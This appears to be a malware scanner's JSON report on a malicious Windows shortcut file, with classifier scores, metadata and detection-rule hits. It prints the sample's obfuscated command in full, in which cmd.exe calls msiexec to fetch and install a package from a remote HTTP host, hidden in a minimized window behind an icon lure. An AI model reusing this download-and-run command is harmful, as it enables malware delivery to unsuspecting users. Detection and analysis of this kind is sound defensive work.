{
  "ml": {
    "l": -1,
    "v": "6",
    "fs": [
      {
        "l": -1,
        "id": 0,
        "prob": 0.9864814877510071
      }
    ],
    "prob": 0.9864815,
    "models": [
      {
        "m": "az",
        "raw": 0.9864815,
        "prob": 0.9864815,
        "class": 0
      },
      {
        "m": "az/lnk",
        "raw": 0.9941895,
        "prob": 0.9941895,
        "class": 0
      }
    ],
    "version": "v17.17",
    "analyzed_at": "2026-06-08T02:25:55Z"
  },
  "path": "1b6d5fc17d9df8225dfbea53107572bda5aec8beab2c76ac19a50b2c4fa65fcd.lnk",
  "raw": {
    "v": "6",
    "fs": [
      {
        "f": "O(C)Th",
        "x": 68,
        "ff": {
          "m": {
            "lnk": {
              "file_size": 232960.0,
              "args_leading_tabs": 0.0,
              "args_leading_spaces": 0.0,
              "args_whitespace_total": 6.0,
              "args_max_whitespace_run": 1.0
            },
            "file": {
              "size": 1953.0,
              "entropy": 3.38,
              "size_bytes": 1953.0
            },
            "binary": {
              "overall_entropy": 3.38
            }
          },
          "s": [
            [
              137,
              "u8",
              "Windows"
            ],
            [
              223,
              "u8",
              "System32"
            ],
            [
              313,
              "u8",
              "cmd.exe"
            ],
            [
              440,
              "u8",
              "C:\\Windows\\System32\\cmd.exe"
            ],
            [
              823,
              "u8",
              "%windIR%\\SYSTEm32\\CmD.eXE"
            ],
            [
              1663,
              "u8",
              "desktop-i3q5sbt"
            ]
          ],
          "v": {
            "file.stem": "1b6d5fc17d9df8225dfbea53107572bda5aec8beab2c76ac19a50b2c4fa65fcd",
            "file.basename": "1b6d5fc17d9df8225dfbea53107572bda5aec8beab2c76ac19a50b2c4fa65fcd.lnk",
            "lnk.arguments": "/V/rs^TAr^T Ms^iE^Xec\tkA^F^Y=kS^j^DJ^W^eE^p -^fv\t\"hTTP://2I.Wf:8080/BVBjrqdQ/eCKSOxsz24Hswq/!COMpUTeRNAME!\" -qn M^kiH^z^J^VA^C=^w^Ffw^xP",
            "lnk.blocks[0]": "environment_variable",
            "lnk.blocks[1]": "special_folder",
            "lnk.blocks[2]": "known_folder",
            "lnk.blocks[3]": "tracker",
            "lnk.blocks[4]": "property_store",
            "lnk.description": "E",
            "lnk.target_path": "C:\\Windows\\System32\\cmd.exe",
            "lnk.volume.name": "Windows ",
            "lnk.icon_location": "%systemroot%\\system32\\shell32.dll",
            "lnk.volume.serial": 1074995870,
            "lnk.header.flags[0]": "has_link_target_id_list",
            "lnk.header.flags[1]": "has_link_info",
            "lnk.header.flags[2]": "has_name",
            "lnk.header.flags[3]": "has_arguments",
            "lnk.header.flags[4]": "has_icon_location",
            "lnk.header.flags[5]": "is_unicode",
            "lnk.header.flags[6]": "has_exp_string",
            "lnk.known_folder_id": "1ac14e77-02e7-4e5d-b744-2eb1ae5198b7",
            "lnk.header.file_size": 232960,
            "lnk.header.icon_index": 273,
            "lnk.header.write_time": 131679632891675660,
            "lnk.special_folder_id": 37,
            "lnk.volume.drive_type": "fixed",
            "lnk.environment_target": "%windIR%\\SYSTEm32\\CmD.eXE",
            "lnk.header.access_time": 131884309003112129,
            "lnk.tracker.file_droid": "a15d15de-71e2-11ec-84a3-c8d9d20198aa",
            "lnk.tracker.machine_id": "desktop-i3q5sbt",
            "lnk.header.show_command": "minimized_no_active",
            "lnk.tracker.mac_address": "c8:d9:d2:01:98:aa",
            "lnk.header.creation_time": 131679632891675660,
            "lnk.tracker.volume_droid": "5f2732e6-1dba-4656-a379-9d16751a6c79",
            "lnk.header.file_attributes[0]": "archive"
          },
          "id": "lnk"
        },
        "id": 0,
        "sz": 1953,
        "ts": [
          {
            "a": "T1564.003",
            "c": 0.699999988079071,
            "d": "LNK contains cmd.exe target string",
            "e": [
              "CmD.eXE",
              "cmd.exe"
            ],
            "i": "objectives/command-and-control/dropper/lnk/window-hiding::lnk-text-cmd-target",
            "l": 1,
            "m": "F0008",
            "el": [
              "337",
              "139"
            ]
          },
          {
            "a": "T1204.002",
            "c": 0.699999988079071,
            "d": "LNK targets cmd.exe",
            "e": [
              "C:\\Windows\\System32\\cmd.exe"
            ],
            "i": "objectives/command-and-control/dropper/lnk/target::cmd-target",
            "l": 4,
            "el": [
              "value:lnk.target_path"
            ]
          },
          {
            "a": "T1204.002",
            "c": 0.8999999761581421,
            "d": "LNK has command-line arguments",
            "e": [
              "/V/rs^TAr^T Ms^iE^Xec\tkA^F^Y=kS^j^DJ^W^eE^p -^fv\t\"hTTP://2I.Wf:8080/BVBjrqdQ/eCKSOxsz24Hswq/!COMpUTeRNAME!\" -qn M^kiH^z^J^VA^C=^"
            ],
            "i": "objectives/command-and-control/dropper/lnk/target::has-arguments",
            "l": 1,
            "el": [
              "value:lnk.arguments"
            ]
          },
          {
            "a": "T1204.002",
            "c": 0.699999988079071,
            "d": "LNK uses shell32.dll icon lure (likely photo/folder)",
            "e": [
              "%systemroot%\\system32\\shell32.dll"
            ],
            "i": "objectives/command-and-control/dropper/lnk/target::lnk-icon-lure-shell32",
            "l": 4,
            "el": [
              "value:lnk.icon_location"
            ]
          },
          {
            "a": "T1204.002",
            "c": 0.800000011920929,
            "d": "LNK runs minimized without activation",
            "e": [
              "minimized_no_active"
            ],
            "i": "objectives/command-and-control/dropper/lnk/target::minimized-window",
            "l": 4,
            "el": [
              "value:lnk.header.show_command"
            ]
          },
          {
            "a": "T1204.002",
            "c": 0.800000011920929,
            "d": "LNK targets cmd.exe with arguments",
            "e": [
              "/V/rs^TAr^T Ms^iE^Xec\tkA^F^Y=kS^j^DJ^W^eE^p -^fv\t\"hTTP://2I.Wf:8080/BVBjrqdQ/eCKSOxsz24Hswq/!COMpUTeRNAME!\" -qn M^kiH^z^J^VA^C=^",
              "C:\\Windows\\System32\\cmd.exe"
            ],
            "i": "objectives/command-and-control/dropper/lnk/target::cmd-with-args",
            "l": 4,
            "el": [
              "value:lnk.arguments",
              "value:lnk.target_path"
            ]
          },
          {
            "c": 0.8999999761581421,
            "d": "Identifies execution artefacts in shortcut (LNK) files.",
            "e": [
              "cmd.exe",
              "CmD.eXE",
              "$"
            ],
            "i": "third_party/bartblaze/generic/LNK_Ruleset/execution_in_lnk",
            "l": 4,
            "el": [
              "offset:139",
              "offset:349",
              "offset:16f"
            ]
          },
          {
            "c": 0.8999999761581421,
            "d": "Identifies download artefacts in shortcut (LNK) files.",
            "e": [
              "$"
            ],
            "i": "third_party/bartblaze/generic/LNK_Ruleset/download_in_lnk",
            "l": 4,
            "el": [
              "offset:23f"
            ]
          }
        ],
        "sha": "1b6d5fc17d9df8225dfbea53107572bda5aec8beab2c76ac19a50b2c4fa65fcd",
        "path": "1b6d5fc17d9df8225dfbea53107572bda5aec8beab2c76ac19a50b2c4fa65fcd.lnk",
        "type": "lnk"
      }
    ],
    "tv": "8e9ac"
  }
}